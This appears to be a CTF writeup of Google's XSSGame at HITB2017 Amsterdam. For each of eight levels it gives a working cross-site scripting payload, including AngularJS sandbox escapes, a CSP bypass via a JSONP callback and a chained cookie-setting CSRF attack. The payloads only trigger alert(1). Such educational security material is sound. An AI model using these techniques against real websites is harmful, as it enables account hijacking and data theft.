Quantcast
Channel: Shielder
Viewing all articles
Browse latest Browse all 27

XSSGame by Google at #HITB2017AMS – Writeup

$
0
0

During the last edition of HITB in Amsterdam we took part into the XSSGame by Google: 8 XSS challenges to win a Nexus 5X. The various levels exposed common vulnerabilities present in modern web apps.

Introduction

Each level required to trigger the JavaScript’s alert function by creating an URL with an XSS payload inside, which should be executed without any user interaction. When the alert function was executed the server replied with the link to the following challenge.

Level 1.

A search bar is available, on submit the query entered is printed into the page HTML code. All we have to do is search for <script>alert(1)</script> and an alert will popup on page load.

level 1

Level 2.

A form containing timeout input value is available, on submit the page will wait for the seconds entered and popup an alert. Looking at the HTML source code it is possible to guess that the timeout value entered (‘timer’ GET parameter) is directly inserted into the startTimer() function of the ‘onload’ HTML attribute in

<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('<user provided>');" />

potentially leading to a JavaScript code injection.

Requesting <challenge url>/?timer='-alert(1)-' leads to code injection and Level 3.

level 2

Level 3.

‘XSS library’ is an index of cats pictures, allowing us to navigate through the pictures. Only the fragment identifier is changed on picture change.

Looking at the source code we can see the function chooseTab, called on url change appends the fragment identifier (<user provided>) to the src attribute of an img:

function chooseTab(<user provided>) {
 	var html = "Cat " + parseInt(<user provided>) + "<br>";
 	html += "<img src='/static/img/cat" + <user provided> + ".jpg' />";
 	 
 	document.getElementById('tabContent').innerHTML = html;
 	 
 	// Select the current tab
 	var tabs = document.querySelectorAll('.tab');
 	for (var i = 0; i < tabs.length; i++) {
 	    if (tabs[i].id == "tab" + parseInt(<user provided>)) {
 	        tabs[i].className = "tab active";
 	    } else {
 	        tabs[i].className = "tab";
 	    }
 	}
 	 
 	window.location.hash = <user provided>;
 	 
 	// Tell parent we've changed the tab
 	top.postMessage({'url': self.location.toString()}, "*");
}

Playing with the fragment identifier allows us to exploit the DOM based XSS injecting JavaScript code into an arbitrary HTML attribute, for example, ‘onerror’: <challenge url>/#1'onerror=alert(1)>

(It’s important to note that this payload would not work in the latest versions of Firefox since it url encodes the fragment identifier)

level 3

Level 4.

A ‘Google Reader 2.0’ homepage is presented to us, with registration process available asking for an email.

No reflection seems to be available during the procedure, but we observe that just after the registration a redirect is executed, bouncing us back to the homepage. The parameter ‘next’ in <challenge url>/confirm?next=welcome leads us to think ‘welcome’ is some sort of page identifier, looking at the source code the vulnerability is evident:

<script>
  setTimeout(function() { window.location = <user provided>; }, 1000);
</script>

Requesting <challenge url>/confirm?next=javascript:alert(1) gives us an alert.

level 4

Level 5.

A Google-ish search bar, again. Now AngularJS-flavoured, the web app ships with a vulnerable version of the famous JavaScript framework, 1.5.8. The form inputs ‘utm_term’ and ‘utm_campaign’ are set from the request parameters, if any.

The first things that comes in mind when looking for vulnerabilities in an AngularJS-powered web app are template injection and sandbox escape (which from version 1.6 has been removed).

It is easy to find the correct payload in order to escape the sandbox of the JavaScript framework and insert it in one of them: <challenge url>/?utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

level 5

Level 6.

Like level 5, a search bar and a vulnerable version of AngularJS (1.2.0) are available. Again the payload is not directly usable through the search bar because the query string entered is used inside of a ng-non-bindable div element, which as the documentation reports it is not interpreted by Angular at runtime.

After some fuzzing we notice that:

– the URL is used as the form ‘action’ attribute;

– UTF-8 characters as ‘£’ in the URL make the page throw a 500 error (later being noted as a bug…);

– the ‘{‘ character is deleted from the URL on page load.

Looking into the first and third notes we try to use the HTML entity version ‘&lcub;’, which works and it’s been interpreted, from here we can encode all the braces in the payload and spawn our alert:

<challenge url>/?query=&lcub;&lcub;a='constructor';b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

Level 7.

A blog page loads content using the ‘menu’ GET parameter and JSONP requests, the usual response contains ‘title’ and ‘pictures’ attributes which will be used to populate a ‘h1’ and few ‘img’ HTML elements, an error one contains only the ‘title’ attribute. In the description this challenge is described as a ‘common CSP bypass’, unfortunately we haven’t the screenshot for this one.

XSS is possible inside of the base64-encoded menu parameter, but contrary to previous challenges (where it wasn’t present), CSP is defined as ‘default-src https://hitb.xssgame.com/static/ <challenge url>’.

The ‘callback’ parameter in the JSONP request can be used to inject valid Javascript code into the response, which will be interpreted client side, for example:

GET /jsonp?callback=alert(1);// HTTP/1.1
<snippet>

returns

<snippet>
alert(1);//<snippet>

We can use the JSONP endpoint as ‘src’ of a ‘script’ element in order to bypass CSP and execute the alert: <challenge url>?menu=base64_encode(<script src="jsonp?callback=alert(1)%3b%2f%2f"></script>)

(like previously, base64_encode is only used for better readability, final payload is already base64 encoded)

Level 8.

The last one mixes the previous challenges into one: the exploit must work for any user, logged in or not, and CSRF, self-XSS and CSP should be exploited in order to win, the introduction says.

It is possible to execute bank transfers logging into an account by username (optional) and sending a transfer with ‘name’ and ‘amount’ values. After the login a ‘username’ cookie is set containing the username entered, name and amount of the transfer are sent as GET parameters, alongside a random 16 bytes CSRF token saved as cookie. CSP is defined like level 7.

Looking into the transfer procedure it is clear the amount field is vulnerable to reflected XSS and the CSP is not defined, however it is just the ‘self-XSS’ part of the challenge and it works only with a ‘csrf_token’ parameter matching the homonym cookie.

During the ‘login’ procedure we notice a request to <challenge url>/set?name=username&value=<username entered>&redirect=index, which would set our ‘username’ cookie and send us back to the homepage.

Using this ‘feature’ we can set an arbitrary cookie with an arbitrary value and redirect the user to an arbitrary page. In our case we can set the ‘csrf_token’ cookie and redirect the user to ‘/transfer’ where the transfer will be executed because the cookie and the ‘csrf_token’ GET parameter match:

<challenge url>/set?name=csrf_token&value=arbitrary&redirect=url_encode(/transfer?name=attacker&amount=3"><script>alert(1)</script>&csrf_token=arbitrary)

(using url_encode for better readability, the argument should be url-encoded in the URL.)

level 8

Conclusion

Thanks HITB for the the great conference and Google for the Nexus 5X.

L'articolo XSSGame by Google at #HITB2017AMS – Writeup sembra essere il primo su Shielder.


Viewing all articles
Browse latest Browse all 27